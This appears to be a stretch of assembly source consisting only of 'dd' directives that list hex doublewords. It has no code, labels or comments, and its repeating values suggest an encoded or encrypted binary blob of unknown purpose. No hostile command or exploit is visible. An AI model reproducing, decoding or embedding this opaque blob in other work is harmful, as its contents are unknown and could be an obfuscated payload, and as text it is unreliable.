dd 3290E34Bh, 0BA1A6622h, 32156619h, 3217EA87h, 53756644h
dd 3244DBA1h, 3D1561F1h, 32150C0Dh, 32068F44h, 0A5FE6622h
dd 0C2C28F7Ch, 43706E76h, 2A3BD67Ch, 0FEC2B59h, 0B79E9EA9h
dd 35F557E1h, 321572ADh, 29CF9122h, 51E0F373h, 792F1F7Bh
dd 0FFADB415h, 35FDBDBh, 0CDAE351Eh, 1BEA9977h, 3D753D9Bh
dd 321565A1h, 0E4A26911h, 1FF59C37h, 26FC0726h, 0B5156622h
dd 3E7D7436h, 0CEAEEC66h, 0A0368B12h, 702E7959h, 9D78C93h
dd 0D5C34A0Dh, 0A3906943h, 3D156622h, 32156C95h, 0BF1A0688h
dd 32156644h, 0B9743871h, 0D20CFF94h, 0DA46068Fh, 3215664Ch
dd 4A4D029Ah, 0E3F84A49h, 20FC3CD7h, 0E9156644h, 0FEC60537h
dd 6BDED54Dh, 0C393DB15h, 5B3ED381h, 21FC0779h, 0CA156611h
dd 42222DD8h, 0E8D24B28h, 12460E9h, 0BDE7F429h, 8946F5B7h
dd 0CDEA99BBh, 524EB90Bh, 9374DC71h, 3EFC4F55h, 0F5156644h
dd 4D059BF6h, 0CE2040D2h, 532A4580h, 321574ADh, 0C7A24922h
dd 0FC813D9Ch, 0FDFD84FFh, 80161F8Eh, 53B96C0Ch, 0E425E32Ah
dd 0B71A616Fh, 3215665Bh, 32156FCBh, 50DC8B11h, 0D2D4CAA3h
dd 0B79E3167h, 35F57C5Fh, 33AD36E9h, 33156688h, 9ED3E83h
dd 0D5C352A7h, 72906916h, 3D156688h, 32156DC6h, 0B9730622h
dd 329569E0h, 53156688h, 16E4E3CFh, 0BF1A61C2h, 32156603h
dd 32156B61h, 0C6507E44h, 936820Dh, 5CAC3197h, 0FD920AD7h
dd 0CDEA8FC5h, 0FD9299DDh, 3214EA1Eh, 9ED6688h, 0D5C35EC1h
dd 7A906925h, 0DB156611h, 32156698h, 3F3BF9F5h, 0B837F9F7h
dd 3EA89556h, 348A3F25h, 2BE4E3CFh, 62E061C2h, 8564E3A9h
dd 194B63FDh, 0D0204FC4h, 338A51BEh, 3BFC3ED6h, 1F156688h
dd 0F0BA6D0Bh, 0C866E29Eh, 32996971h, 3D156688h, 97491F3h
dd 0D5C35AA7h, 7C906916h, 52156688h, 0ECA26915h, 3499697Dh
dd 0B3156611h, 6E07F063h, 0B79E0752h, 35F562F7h, 321568F8h
dd 86D3C888h, 0CD86DAFBh, 0B68E081Fh, 63CEC2B1h, 32156731h
dd 6BDA6744h, 3206E32Dh, 3CFC6611h, 0F7156688h, 0D95E2289h
dd 863BB2C0h, 0C07F5DD6h, 72905D3Fh, 3D128192h, 321502A7h
dd 23986911h, 0DB156688h, 32156648h, 0F549C6EEh, 67BD16C2h
dd 90CBF873h, 1E98E3CFh, 0B37561C2h, 7C192AE0h, 0B7AB00B3h
dd 0FD9207E8h, 3214A7A3h, 0FD926611h, 32058FE8h, 7786644h
dd 1EB33CD3h, 0BA02532h, 35ED2DCBh, 52751CACh, 32058E43h
dd 3A4F6611h, 4B4700A9h, 70FBF27Fh, 0E66A055h, 534A8905h
dd 76905DE9h, 3D128192h, 321522A7h, 8D730611h, 0E994A2D2h
dd 5C9B8F3Eh, 0F90ED43h, 0CE128621h, 1DD8DBDDh, 0FF944789h
dd 5FD341D2h, 0C550B3E6h, 31D0E75Dh, 1B875694h, 20FC3BCDh
dd 0FF156611h, 0E8418674h, 772A571Eh, 0A9DE6323h, 0F680B52h
dd 7A905D9Ch, 3D128192h, 32155CA7h, 32018F11h, 0C2A86688h
dd 0C1FB01C0h, 0ECA5EEB8h, 4FC2AA8Dh, 0C9F98AE7h, 0B79E1BD3h
dd 35F57B4Bh, 3213E31Eh, 0B9756688h, 534D36B6h, 0CDEADB77h
dd 0DD3C99EEh, 0FA306D5h, 9743EF4h, 0D20D4BA7h, 1906916h
dd 0CA156688h, 321563ADh, 85B1CA22h, 0B79E65C1h, 35F546E9h
dd 33AB30B8h, 33156622h, 0DBEC38E6h, 3215669Ah, 392E30A6h
dd 507D6EA9h, 1FE65185h, 273E97DCh, 0B72EEDB7h, 35F2B06Eh
dd 3273E31Eh, 60756688h, 68C3D14Bh, 321560CBh, 0C1DCFA11h
dd 5314EAF7h, 36D4E3CFh, 3EFC61C2h, 0A3156611h, 0B5E9FCF7h
dd 0B21798EEh, 3D1791E5h, 32156197h, 33966988h, 0CE156644h
dd 2458DC70h, 0F894472Bh, 300C78E5h, 59A384C5h, 0B357094Fh
dd 660061D3h, 0E7D7E7AEh, 33A3E4A4h, 0BB1A3CF5h, 32156619h
dd 329E69E8h, 53156644h, 0E49DE319h, 0B71A61F6h, 32156617h
dd 0B201D924h, 0B21A0EA8h, 32156615h, 88CCDFEEh, 0A2A8E525h
dd 321281F4h, 325BE31Eh, 0B31A6688h, 32156651h, 321E8F42h
dd 0A01A6611h, 7280B907h, 10B5B42Dh, 0E19E0017h, 0CBA8E570h
dd 321286B9h, 324CE24Bh, 0BF1A6622h, 32156608h, 32157261h
dd 7B6E3244h, 8D916E65h, 8215B85Dh, 73BE41CEh, 0AE27E190h
dd 339B69E2h, 0CE156611h, 664E303h, 0B41A61A4h, 32156629h
dd 32966971h, 3D156688h, 6774AFF3h, 8F57AC9Fh, 0A4F0E759h
dd 0B37AECF8h, 45AA1981h, 6FFA6795h, 3214E91Eh, 9E06688h
dd 0D5C3EAC1h, 54906925h, 0C7156611h, 0E485DB0Bh, 3D1561A3h
dd 321548A7h, 32108F11h, 0C1736688h, 0B1300DD6h, 0D2249F9Fh
dd 0B61A6616h, 321566C9h, 0DBE4EC24h, 3215662Ch, 3AFC7227h
dd 633B7DEEh, 0B20437Bh, 0B974DEE1h, 0D23ADB94h, 0B01A9F8Fh
dd 32156643h, 3214E02Dh, 63E06611h, 32156731h, 6BDA6744h
dd 3212E32Dh, 0B71A6611h
dd 32156689h, 62905DB1h, 3D1281F4h, 32152294h, 3DFC0688h
dd 0E1156644h, 0C3791277h, 0A81B41E2h, 0A6B5F22Dh, 0B3737839h
dd 533BFFE5h, 130CE39Ah, 39FC6168h, 4F156644h, 0ADC9400Ah
dd 26411CB2h, 64E058EFh, 321567FAh, 6CE26722h, 45A30671h
dd 0E29E00E9h, 66905D25h, 3D1281F4h, 32153994h, 2B956988h
dd 3D156644h, 321575ABh, 321B8F11h, 5A2D6688h, 6A2A6836h
dd 4D8DE6AFh, 8FDA18Ah, 3204E303h, 0B21A61A4h, 32156632h
dd 32156DF8h, 3DF1188h, 0AE31E2CBh, 7DE0CFD0h, 32118A90h
dd 0E9C6688h, 16119960h, 32078F7Dh, 34A86611h, 0C7E6794Bh
dd 4D7A6095h, 0C282FE0Ah, 66B2242Fh, 0E44DE3B3h, 0B71A61A3h
dd 32156663h, 0AB90EDE9h, 3D1286A6h, 32156AC3h, 34976922h
dd 3D156611h, 32156607h, 33AC3744h, 33156622h, 52753FDEh
dd 53753CD9h, 538FD425h, 321AE02Dh, 38FC6611h, 81156688h
dd 1A918546h, 0DE6C0B05h, 6E905D47h, 3D12815Eh, 321541C1h
dd 0B9730622h, 0B79E07DAh, 35F56485h, 3219E84Bh, 0B31A6622h
dd 32156617h, 3215E687h, 0ED926644h, 3CA5761h, 0CECA57EAh
dd 0E475E3B3h, 0B71A61A3h, 3215661Eh, 0C5940071h, 0B974A69Ch
dd 0D20EDBC1h, 321D8F25h, 0DC9F6611h, 0FF210B10h, 8C434279h
dd 2E444A27h, 1E118890h, 0C5147AD9h, 321B8F1Ah, 18296622h
dd 0E88A5BE7h, 0BE7EFDBBh, 8FCE4389h, 0E471E319h, 0B71A61F6h
dd 321566C4h, 321574ADh, 0CB0B1C22h, 61F42439h, 4652635Dh
dd 0CA00C852h, 0C706D003h, 2FC0E39Ah, 3EFC6168h, 83156644h
dd 0B73F0371h, 1A761AC6h, 6509B014h, 0B93162BBh, 0F694421Eh
dd 32156615h, 321FED87h, 37FC6644h, 88156622h, 0B67E55BBh
dd 0B61A9983h, 32156607h, 3209EA2Dh, 0DB756611h, 32156687h
dd 2B16E874h, 74397DAEh, 76E3C56Ah, 0B30B29F2h, 0B3D850A2h
dd 23FC077Eh, 0FE156611h, 0F7816E3Fh, 9533B3BEh, 3B92975Ah
dd 0EFD18363h, 0CDF80661h, 0CE9F06BBh, 97498A9h, 0D23BEF94h
dd 1A90698Fh, 3D156644h, 321567A9h, 0B7989A11h, 35F27FE7h
dd 0DF2E8FBDh, 34FC99DDh, 97156611h, 5EF7B5B1h, 0B3730683h
dd 5451D0F2h, 9749D9Ah, 0D214EB0Dh, 61906943h, 52156622h
dd 3204E41Eh, 3EFC6688h, 8D156644h, 646FF31Bh, 35978712h
dd 0CACF76DAh, 82A8E525h, 331281F7h, 3239E31Eh, 3CFC6688h
dd 0FA156644h, 96AA8A12h, 71173589h, 0FE74A1C2h, 5590EBAEh
dd 0CE153F29h, 0DEC68FE4h, 35FC9977h, 0B7156644h, 0EA1659DDh
dd 0B72E5B91h, 35F2B348h, 323DE24Bh, 3D756622h, 32156797h
dd 8BA49388h, 0F6905D25h, 3D1281F7h, 32154694h, 32138F88h
dd 6BEC6644h, 131A4D61h, 0EE9F3771h, 0BCFC07D3h, 52EA99A8h
dd 8C2DADA2h, 526236A6h, 665FD8E9h, 0C4945C05h, 4AD532FCh
dd 3281DD42h, 0EC242409h, 3A94691Fh, 3D156622h, 3215649Fh
dd 0B1740688h, 0B71A67BAh, 32156685h, 86905DE8h, 3D12815Dh
dd 32154DC1h, 0C7ED0622h, 0F690EB70h, 0DB153E0Fh, 3215664Eh
dd 59FA3DDCh, 8C80E3B1h, 1CFC7EF4h, 52EA99A8h, 3217ED2Dh
dd 0EC9E6611h, 0CB74383Fh, 0E7ADE37Fh, 0B71A61C5h, 32156639h
dd 890EB71h, 0DB153ECCh, 3215662Fh, 0D8453768h, 4B758600h
dd 0AC17C2DDh, 0D9E28F65h, 547599EEh, 491A8009h, 53FF95C4h
dd 0E7A9E319h, 0B71A61F6h, 321566A7h, 3204EC4Bh, 0DB756622h
dd 3215661Bh, 0A442CFh, 6417CA52h, 0BF740AB9h, 6A9D1994h
dd 8CFC9F88h, 52EA99AFh, 3429719Ah, 8697DC35h, 0B3744035h
dd 321562A8h, 1611EF22h, 5A479349h, 39D3FF7h, 4BFFE71Eh
dd 670B2168h, 1528E4ACh, 0F9F0E79Ch, 0C561ED55h, 49F8E7FFh
dd 0F3628F1Dh, 0DFD46065h, 0D4E0E746h, 1B06533Eh, 0E49C3BFBh
dd 0DB4206D2h, 32156657h, 0FA0F8620h, 1506F43Ah, 6AA79BE6h
dd 0D5C740C2h, 6B1DF22Fh, 32156EF8h, 8B60C488h, 0F87A3F8h
dd 0C41E07A1h, 3208E31Eh, 3D756688h, 321564C4h, 0C7EDED22h
dd 0D9118F70h, 0B01A9977h, 32156643h, 3214E22Dh, 62EC6611h
dd 42315209h, 0B9502E5Ah, 0F6964216h, 42E3E715h, 0C7502E96h
dd 1CD3CDh, 0B11A61C2h, 3215661Dh, 3213E987h, 0BA1A6644h
dd 32156622h, 11C8D398h, 3BFC6168h, 0BF156644h, 0BCD5C4A6h
dd 90596502h, 32156061h, 0BC5C4644h, 0B2E1F758h, 0B71A8F2Fh
dd 321567A7h, 3219E64Bh, 35FC6622h, 40156611h, 1754CC68h
dd 8946E483h, 32156623h, 56CBA590h, 0C1143546h, 56CB8DC5h
dd 99E35ECh, 321D8F4Ah, 4B136688h, 1E78A693h, 88474612h
dd 73A6545Ch, 6D10AC09h, 0C5573225h, 0D89424F0h, 43F24372h
dd 0C8748C09h, 0E53CB2D9h, 0B3E26778h, 0B57588D6h, 32078FEBh
dd 0CDB76644h, 0F7CBAD50h, 71A8AE3Dh, 489C9BA7h, 45727596h
dd 321FE42Dh, 3D756611h, 32156604h, 53DDED44h, 7EA83374h
dd 1B69B16Eh, 6F1142E4h, 7ED6E71Fh, 5269B15Dh, 321575F9h
dd 0CE525B88h, 2CA52EE6h, 0B1F6A9F5h, 303AC4DCh, 83C7E60Fh
dd 0DB4D0724h, 3215662Bh, 6EACB3BEh, 0DA89BC66h, 5A4407FDh
dd 32152622h, 6BDE6748h, 0B5C7E7E8h, 533F4331h, 1CDB19h
dd 0B01A61F1h, 321566C1h, 3D966924h, 0DA156622h, 32156618h
dd 0B6CD119Ch, 0C4B064Bh, 0EEAB3C02h, 53602AAEh, 0B41A9DB3h
dd 3215666Fh, 3219E22Dh, 0BA1A6611h, 3215668Eh, 3215EF4Bh
dd 3CFC6622h, 94156611h, 4BAB6E19h, 48BCE71Bh, 0FB8241D0h
dd 0DB618F85h, 0B9E99977h, 0D20107F9h, 52460625h, 3FFD3C70h
dd 0CE156688h, 416D6FE9h, 0FDE6FF0Ch, 3AD62F3Eh, 0B7D207D0h
dd 35F575CDh, 32156622h, 32156BF8h, 6AABBF88h, 34225706h
dd 67E276C7h, 0DB752711h, 32156685h, 0D848BAE8h, 0C37D6BB1h
dd 6D1BB406h, 0EFA0EFC4h, 52128667h, 71CEE744h, 0B41A070Eh
dd 32156689h, 1C88EBB8h, 52128E7Eh, 321568F8h, 460CFD88h
dd 0A70E6534h, 2ED219D6h, 3D656905h, 3215660Ah, 0E1EA0744h
dd 3219E02Dh, 3D756611h, 3215660Bh, 0F4AE0044h, 0F21E07F0h
dd 3234E21Eh, 38FC6688h, 6E156644h, 0C1E26898h, 380B4B7Ch
dd 32B48FB4h, 3AFC6644h, 4B156622h, 4F5F77EBh, 0BF85402Ch
dd 0D79E5CD9h, 0B9730625h, 321F8FC8h, 19B46688h, 7133CF61h
dd 92C16AACh, 3DC69970h, 0CDEA0A0Bh, 321F8FBBh, 0A08A6622h
dd 0B09CB36Eh, 6BFE9E97h, 37996924h, 89156622h, 3DAF2C11h
dd 0C16A909h, 0B9744A9Ch, 0D236BB97h, 32058F16h, 90446688h
dd 0DE083F0Fh, 72F15898h, 6727D0FFh, 879C2715h, 35F575CDh
dd 321560CBh, 6E681411h, 0BF490F7Ah, 0D489EBD9h, 32058F25h
dd 0E49F6611h, 0E7B5BDAAh, 99CE2D90h, 7B2B7FD7h, 0E1EAB4DDh
dd 3214EF87h, 0B9EC6644h, 0D2276FA7h, 0B79C9A16h, 35F54555h
dd 32078F24h, 9BD06622h, 0F06E9117h, 7A087B18h, 14CFFEB1h
dd 663400DCh, 321561F9h, 0DDF42088h, 9F096815h, 0DB74077Dh
dd 32156605h, 9778BDBDh, 6258D6A9h, 0C6969A94h, 7E5196ECh
dd 0D2E5FF25h, 3DFD58C4h, 3215D8A7h, 339C6911h, 0CB156688h
dd 3DD8DBC7h, 3D1561C2h, 3215CC95h, 3A906988h, 3D156644h
dd 321564A6h, 60740611h, 0F895683Ah, 0E29D367Fh, 0F09DBED4h
dd 0F4FFE649h, 0B2138448h, 0E29D4FB6h, 0B91A9F78h, 32156610h
dd 3FFCCC70h, 0D156644h, 57B56D50h, 27A0C148h, 0A89BCFD5h
dd 3271292Ch, 1621EF22h, 321D8F49h, 2DDA6688h, 7B7C3F6Bh
dd 6C105317h, 37601811h
dd 3B6C37BCh, 6389E6Dh, 1F1C1F73h, 476B664Fh, 32156361h
dd 7BC6E844h, 0AF7D392Dh, 0BB156676h, 36AA42B4h, 1B156644h
dd 0B27539DAh, 99741ECDh, 30478F7Dh, 52756644h, 851A3E70h
dd 0D39507EEh, 8C7507CFh, 3347054Ch, 0BF74A9A9h, 0DA54FF8Ch
dd 34FC068Fh, 0D0156644h, 0CFFFD9D0h, 0FC9E0047h, 52C699E9h
dd 2D22CEFDh, 32058F3Fh, 0A0286611h, 0E45D8E4Dh, 0AC4F9F14h
dd 0E83D2CDh, 0BF747838h, 0DA430015h, 22916943h, 0DB156622h
dd 3215661Ah, 0D3528EA2h, 0B5E302DAh, 0CDD887D6h, 851A06C2h
dd 0D8940042h, 39743B32h, 1E9069E2h, 0DB156611h, 32156687h
dd 0F2ACC767h, 0B610A6DDh, 3B9DD4Bh, 0DBC97EF1h, 32156600h
dd 32128F42h, 57456611h, 529D0C41h, 0F3AF0015h, 0B1ED0769h
dd 0D236BB94h, 0B41A638Fh, 3215664Eh, 321563CBh, 0EF2D9211h
dd 0BFFC0937h, 3DEA99BAh, 321567AEh, 3BFC9311h, 0C3156688h
dd 699A88CFh, 0CEF939CCh, 6AADFB9Ch, 0CDE96160h, 321B8F97h
dd 1B876622h, 0C6CC6895h, 0F643E34Bh, 0CBAA7150h, 0B71AA629h
dd 3215660Dh, 321AE787h, 38FC6644h, 0C2156622h, 0DFA9C7CDh
dd 7CD277A9h, 32378F15h, 53756622h, 0BB118A92h, 36A842A4h
dd 33156644h, 0DBED3BC8h, 32156739h, 32156161h, 0A01DA344h
dd 1CF7D3C0h, 0B92FFB9Ch, 39FC616Dh, 67156644h, 0B96B451Bh
dd 257426CCh, 0E1EA20CAh, 3225E54Bh, 22FC6622h, 5B156611h
dd 0FFBBF8C3h, 279B0CDBh, 547674FAh, 0B914FF2Dh, 0D236BB3Dh
dd 0FFC9343h, 0CB15660Fh, 32156FF8h, 0C894F888h, 0CB26C60Dh
dd 0BF9EBB09h, 35F545CCh, 32138F7Dh, 5C1D6644h, 68AFB6DAh
dd 11C8D398h, 0BF1A6168h, 3215665Dh, 321572CBh, 5CE58111h
dd 1CBC5BF8h, 84163B73h, 736C9E5Fh, 9877488Bh, 0DFCE743h
dd 1B3EAE70h, 0B4AF34D3h, 0B35B9957h, 567DF7Ah, 68C46721h
dd 32138FDEh, 3DFF6611h, 0A7F86E7Eh, 32A833D5h, 1B156622h
dd 0A348F3D4h, 32156E61h, 0C408CD44h, 5F4C9D2Ch, 9CD3E73Ah
dd 1B408A9Ch, 9CA8338Ah, 1B408A36h, 3D753BFFh, 32157503h
dd 32188E44h, 0B9456622h, 0C6783E8Eh, 5084C63Fh, 6CD842A7h
dd 53EBED44h, 3EFCC2E2h, 0CD156688h, 7CF7F355h, 2A94AAA4h
dd 3DC5B385h, 32156102h, 33976944h, 0CA156622h, 0CDE865F8h
dd 33956977h, 0CB156644h, 0ACCBFBAFh, 0CDE061F7h, 4C7D9F5Bh
dd 0BB15660Fh, 0CE4D421Eh, 2674E33Ah, 0BBED6168h, 0D204F7C1h
dd 54759325h, 52AF75AFh, 84778C09h, 0F19E19E8h, 0B79E0743h
dd 35F57270h, 0D79C3374h, 3211A3C5h, 0DF966622h, 1639E115h
dd 1629EFD4h, 32156DADh, 716EC22h, 0B9A59DA6h, 35659B7h
dd 321CE34Bh, 54756622h, 0B2A8D3AAh, 5A74676Fh, 32157C2Eh
dd 0CB3162ABh, 9348EB9Ch, 3D75616Eh, 321564CCh, 53740622h
dd 3EFCB7EEh, 62156688h, 0D7B2EF24h, 0AC88A605h, 0B95FDA59h
dd 0D215DF0Dh, 0B9759F43h, 0DD9400E3h, 5A74365Bh, 321555D6h
dd 0C73162CDh, 3278B94Ah, 1629EF11h, 5390ED71h, 0C7128650h
dd 32C2E642h, 53EDD11Eh, 321DF5E0h, 1611EF44h, 321568CBh
dd 12D51211h, 887CDE76h, 0F2263FCDh, 0BF5CDC0Bh, 0D4B7DB9Ch
dd 0E3EA938Fh, 1E9436B1h, 3410E806h, 8A453C75h, 56136306h
dd 3D4DA445h, 321568AAh, 0BF1A0611h, 32156688h, 0D669B9C5h
dd 62742601h, 0B3316A9Ah, 3215624Ch, 0BF3E9344h, 35F5669Bh
dd 32108F71h, 0CF086688h, 86FF577Bh, 3CFC074Dh, 0EE156611h
dd 740F5870h, 9D16420Dh, 0D2B6ABC8h, 0CFA8E5A4h, 32128689h
dd 328EE24Bh, 22FC6622h, 66156611h, 5CDFD40Fh, 5FF8366Eh
dd 5E7EDD55h, 0B950EF8Fh, 0D207630Dh, 37FD0643h, 6E156622h
dd 6D062C96h, 6BE4D187h, 32156FACh, 80BA9D22h, 5DA53933h
dd 0B11A4971h, 32156644h, 0B73E077Ch, 35F567ECh, 3DD45D71h
dd 32152AC2h, 0B79E9322h, 35F54494h, 3214EA87h, 31EC6644h
dd 0D2149BA7h, 3DFC0616h, 0D2156688h, 9605FA26h, 0E098C429h
dd 0DF5C570Dh, 0B3739B84h, 538F6492h, 18D4E3ABh, 0DBEC61F1h
dd 32156718h, 321EEC4Bh, 0B2756622h, 0B51A51E7h, 32156688h
dd 36F9E525h, 3D316AABh, 32157494h, 38FD0688h, 0CE156644h
dd 0C7528A5Ah, 4CA6C78Ch, 64743813h, 0BBDAEF13h, 0C29C39DCh
dd 0CEED064Fh, 35EF5E9h, 3D6579Ch, 339269FAh, 0CB156611h
dd 258AD9DFh, 0B35A1C9Ch, 321567E5h, 19DAE711h, 0B3472CDDh
dd 0E852A6ABh, 6DED6F58h, 3214EC1Eh, 60E96688h, 0CDEA99FEh
dd 68C54FDDh, 0B9739A71h, 0B79C0757h, 35F57441h, 321DEF2Dh
dd 0B81A6611h, 3215668Ah, 0B7140724h, 35F54483h, 3200E41Eh
dd 0B21A6688h, 3215664Bh, 32156CCBh, 30C27D11h, 0CF462F17h
dd 0F577A101h, 0D2149BA7h, 32156616h, 32128F88h, 78566644h
dd 0D8D907E5h, 52550CFDh, 52CAD987h, 0F217D3FAh, 53FFEC36h
dd 22150E70h, 52756688h, 52CADC5h, 0B373531Eh, 53AA01D9h
dd 6774B503h, 0F79483CDh, 32156626h, 0B5118B92h, 0BB4942A4h
dd 54754248h, 0DBAAAA9Ah, 3215661Ah, 0B543605Eh, 41FE3CD0h
dd 53807691h, 0B21A667Bh, 3215669Dh, 321576ADh, 0C5482522h
dd 0FE234769h, 0F8247959h, 37AD3CEFh, 7B80996Eh, 0DB128616h
dd 32156683h, 74F1C24Fh, 0F011C41h, 0CDC263F4h, 0D205BB1Dh
dd 0FB950643h, 0BB749336h, 0D237E394h, 0B79C9A8Fh, 35F54C85h
dd 321561CBh, 7E333E11h, 7698B21Fh, 6B3152BBh, 3D11A2A1h
dd 32157599h, 321B8F88h, 306A6644h, 8B168895h, 0BBDDEE53h
dd 340B37D7h, 18D4D3BBh, 547561C2h, 52660BAAh, 9CFDE7EEh
dd 6EF6E7D6h, 5302973Fh, 321D8F70h, 6FE16688h, 0EAFBAC76h
dd 87EAFBA7h, 35F566A8h, 32156161h, 4CC5FA44h, 48B76038h
dd 0B3F0EF44h, 3215624Dh, 36F8E744h, 0B5156622h, 0BB49423Dh
dd 0CDEC42B4h, 0D20107F1h, 0B7989F25h, 35F3DA5Dh, 32156161h
dd 3B1F2B44h, 2BCFCB1Dh, 33ECB6EEh, 0D2149B05h, 339F6943h
dd 0C7156622h, 18D4DB9Ah, 52E96168h, 321569ADh, 205DA222h
dd 0C753F8E2h, 739AD2DEh, 0C1D61C14h, 32156CCBh, 0DA360511h
dd 1F5E500Eh, 53417738h, 32ACD3A9h, 3BFC61F1h, 82156688h
dd 0B2BC51DEh, 90445D86h, 0B21AC2E2h, 32156680h, 5AE6E624h
dd 53C5D12Dh, 0FFA0EDE8h, 0DB128693h, 32156648h, 0A1FE5CBBh
dd 0EFC7522Dh, 0F2B60B89h, 339D69E9h, 0CE156622h, 0CDE9DD42h
dd 0D9949977h, 72693B93h, 0F1949523h, 72693BC6h, 3215654Fh
dd 524E6644h, 0FD52289Ah, 0E4AA6979h, 37D5A7E9h, 5A4633BDh
dd 3A5477EFh, 0D9942D4Ah, 75BF2049h, 57DBA5C5h, 0EF9CDA30h
dd 57D0E74Ah, 33F64426h, 0CA753BACh, 57906543h, 0DB128615h
dd 32156686h, 40A8570Ch, 658E4953h, 20F7D7E5h, 0BF9E329Dh
dd 35F54C85h, 321572CBh, 2D0C9211h, 185C5201h, 0A9BA7C55h
dd 0D478E4F5h, 0C0300C55h, 13C10E30h, 3E9C6644h, 5215E906h
dd 0ADBCDD77h, 32156061h, 4B7A5644h, 533AB1DCh, 399F69BCh
dd 52156688h, 3DC3A6C4h, 321566AEh, 65470711h, 6956E5E0h
dd 0DD943957h, 214E25A5h, 334A9C98h, 3217A17Ah, 68156644h
dd 3BFC06D7h, 14156611h, 0B8E85028h, 0D7C9B22Ch, 0EA959E42h
dd 0BB7407E7h, 0D20EAB3Dh, 339C6943h, 0CE156622h, 3DEA9E92h
dd 3215D40Dh, 32188F44h, 71A86622h, 489C9B3Eh, 4572755Ah
dd 0B385E611h, 0EFC8BB1Ch, 0A69069CCh, 52156688h, 54EBED22h
dd 322284A3h, 5A403670h
dd 61A30C49h, 0F3F8E719h, 0BB46D048h, 349C3BF9h, 321C8FD0h
dd 0AC466644h, 2DBD9C04h, 52F47F5Fh, 74FBB936h, 8EFCE701h
dd 53625B1Fh, 3211DF40h, 0FC146688h, 0B3316ACFh, 321562E6h
dd 321A8F11h, 0D7546688h, 142EE555h, 730E291Fh, 64C18CB5h
dd 879C9E3Dh, 35F57D89h, 3DE8EC42h, 32156597h, 0EAAA6988h
dd 0E6438F25h, 0B81A99DDh, 32156610h, 32048F70h, 6E986644h
dd 65BA640h, 42703785h, 53FA5722h, 0F326D520h, 0B91A65E2h
dd 32156610h, 57906570h, 3D128640h, 321574ABh, 32188F11h
dd 323B6688h, 6DC13F24h, 2AFA9490h, 0DB633E93h, 32156684h
dd 0C652E35Eh, 4A4A7C03h, 0F9BEA768h, 3DF0DB0Bh, 3D1461A4h
dd 3216DFA6h, 0C949311h, 98BFCC22h, 32BEE34Bh, 23FC6622h
dd 0F4156611h, 6F2C5122h, 3501D221h, 0F2A44426h, 4988D1D6h
dd 3211D9DFh, 0CC146644h, 0B1315AA9h, 63E062D5h, 2485131h
dd 43FCE723h, 0B30A9321h, 0EB1FD2D8h, 34F4A7D7h, 8E287C5h
dd 0DB9430F8h, 64C75E91h, 0B9E92801h, 0F6964248h, 32058F26h
dd 23B96611h, 0CACDADACh, 2FC8904Eh, 95310BAAh, 0CA245047h
dd 0CA24A1B9h, 32156CADh, 11FF6B22h, 552EC4F0h, 0CA99A167h
dd 32483A2Ch, 1609EF22h, 0EA9D8FA2h, 0B97306D3h, 53E6ECBFh
dd 32153ECBh, 32068F11h, 6CBE6688h, 0C8543F53h, 27A2292Bh
dd 7E91636h, 3A983602h, 3ED57EEh, 3DED57E5h, 3215659Fh
dd 53EC0688h, 834465F4h, 3AF4A6B2h, 0B2E09791h, 0C395C741h
dd 6BDD6E11h, 36168EE2h, 8A7306C5h, 3EFDB20Bh, 0F4156644h
dd 3B3E7391h, 6E2DF2Fh, 6ADDC2A7h, 7D720E25h, 369C6622h
dd 3E9A6935h, 3D156688h, 321560C2h, 32986922h, 0B1156611h
dd 0D2249F35h, 0B61A6743h, 32156793h, 3214E51Eh, 60ED6688h
dd 4017F82Ch, 0D0D43C09h, 25AA3112h, 0B32B5BD9h, 0F97FABABh
dd 0B3C2911Ah, 0B56E57F6h, 0EDE22981h, 89A589C5h, 0C824CC5Ah
dd 0BEE7E74Eh, 0B3032AEBh, 0EF483AB6h, 68C5EF22h, 0FEA8E5E4h
dd 3212815Dh, 324AE24Bh, 3D756622h, 32156499h, 524D3188h
dd 3215E34Bh, 26FC6622h, 0F156611h, 82D617D6h, 0D3D6D607h
dd 0DCB588E0h, 0C0C8C7h, 537E213Ah, 0F088EB25h, 0DB1280F0h
dd 32156618h, 3A17D0F6h, 0CAD8D73Dh, 3DC6998Bh, 32157199h
dd 32078F88h, 64B16644h, 81C73C27h, 4739E670h, 8D36EE2Bh
dd 377F951h, 0A22AE6DBh, 3253E21Eh, 52E96688h, 321568ADh
dd 0D8BCF722h, 0C811F936h, 0D1BAB476h, 0B93578E7h, 884707F3h
dd 32156614h, 518BA109h, 0E51426BEh, 518B89A3h, 0C74F26EBh
dd 3214D761h, 321B8F44h, 1C276622h, 6C909D9Bh, 0BD966301h
dd 896769E2h, 3D459EA1h, 3215CA93h, 83449A88h, 11DCE69Bh
dd 823B97A2h, 6BDD66AEh, 0B91ACC70h, 3215665Eh, 32188F42h
dd 0A99B6611h, 5503A96Ch, 0CAE2BB84h, 3D5AA331h, 32156696h
dd 369E0788h, 0D79C3360h, 3211A3A3h, 0F7946611h, 3215668Ch
dd 6E314AC3h, 321574CBh, 74076B11h, 197CBDF9h, 0A5D9BA69h
dd 0CA36D576h, 98562FBEh, 32156F61h, 0C2C0D244h, 509A19CEh
dd 90FC4B50h, 52156688h, 321572ACh, 3A978E22h, 0D25F84E8h
dd 2BB0B75Ah, 0A94EECCAh, 6FB2D7D1h, 74CAE7A2h, 6C1D8C4Ch
dd 321575ADh, 94A9A222h, 7076687Fh, 76AD492h, 0F341DB4Fh
dd 0A2E4BDAh, 16219970h, 36D1E7D0h, 52156644h, 0B9740642h
dd 987407CBh, 32156861h, 12FFDE44h, 306DE4DAh, 8C3C7A3Bh
dd 0B20A4520h, 3DFC993Bh, 32155EA7h, 8F969F11h, 35F2B344h
dd 25916944h, 0C7156622h, 0E3BEFB9Ch, 0CDEC616Eh, 359A6997h
dd 3D156622h, 32156799h, 0DE969E88h, 1619EF40h, 7D9DA7AAh
dd 0B01A3F15h, 32156689h, 0F390EDB8h, 0CA128608h, 3204EA1Eh
dd 0DA756688h, 32156643h, 833DF8DFh, 6DA7ACDFh, 607407E8h
dd 0D501A8FEh, 68C54F3Eh, 0FC109E38h, 3D09819Ch, 321567C4h
dd 0B01A9322h, 32156610h, 36AE3574h, 37156644h, 25CD4A8Dh
dd 9D38BE38h, 6902BEA4h, 321575ADh, 5C894622h, 0F19FE075h
dd 4E00AC4Bh, 2866427Dh, 5CC3C87Bh, 219769BAh, 52156688h
dd 321560ADh, 2EA2A622h, 3DEF5235h, 32156601h, 0CEB80744h
dd 321575CBh, 1E665011h, 274E4A76h, 0EE2E67A7h, 0A111C020h
dd 73B79176h, 2AC3DFD9h, 0DBD40295h, 43E4E726h, 33ECD4FFh
